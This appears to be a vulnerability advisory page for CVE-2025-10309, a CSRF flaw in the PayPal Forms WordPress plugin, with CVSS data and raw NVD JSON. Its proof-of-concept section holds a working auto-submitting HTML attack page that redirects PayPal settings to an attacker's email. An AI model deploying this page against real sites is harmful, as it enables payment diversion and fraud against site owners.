Security Vulnerability Report
中文
CVE-2025-10309 CVSS 4.3 MEDIUM

CVE-2025-10309

Published: 2025-10-03 12:15:43
Last Modified: 2026-04-15 00:35:42

Description

The PayPal Forms plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.3. This is due to missing nonce validation on the form creation and management functions. This makes it possible for unauthenticated attackers to create new PayPal forms and modify PayPal payment settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PayPal Forms Plugin <= 1.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Loading...</title> <!-- CSRF PoC for CVE-2025-10309 - PayPal Forms Plugin WordPress --> <!-- This PoC exploits the missing nonce validation in form creation/management --> </head> <body> <!-- Hidden form that submits automatically to modify PayPal payment settings --> <form action="http://target-wordpress-site.com/wp-admin/admin.php?page=paypal-forms" method="POST" id="csrf-form"> <!-- Parameters to create a new malicious PayPal form --> <input type="hidden" name="action" value="create_form" /> <input type="hidden" name="form_name" value="Premium_Upgrade" /> <input type="hidden" name="form_email" value="[email protected]" /> <input type="hidden" name="form_amount" value="99.99" /> <input type="hidden" name="form_currency" value="USD" /> <input type="hidden" name="form_description" value="Upgrade to premium membership" /> <input type="hidden" name="submit" value="Save Form" /> </form> <!-- Alternative: Modify existing PayPal settings --> <!-- <form action="http://target-wordpress-site.com/wp-admin/admin.php?page=paypal-forms&action=settings" method="POST" id="csrf-form-settings"> <input type="hidden" name="action" value="save_settings" /> <input type="hidden" name="paypal_email" value="[email protected]" /> <input type="hidden" name="currency_code" value="USD" /> <input type="hidden" name="submit" value="Save Settings" /> </form> --> <script> // Auto-submit the form when the page loads document.getElementById('csrf-form').submit(); </script> <!-- Alternative: Using image tag for GET-based CSRF --> <!-- <img src="http://target-wordpress-site.com/wp-admin/admin.php?page=paypal-forms&action=delete&id=1" style="display:none" /> --> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10309", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:42.647", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The PayPal Forms plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.3. This is due to missing nonce validation on the form creation and management functions. This makes it possible for unauthenticated attackers to create new PayPal forms and modify PayPal payment settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/paypal-forms/trunk/paypal-forms.php#L533", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8cc25fe1-82f0-493b-a9d3-1a4892e35613?source=cve", "source": "[email protected]"}]}}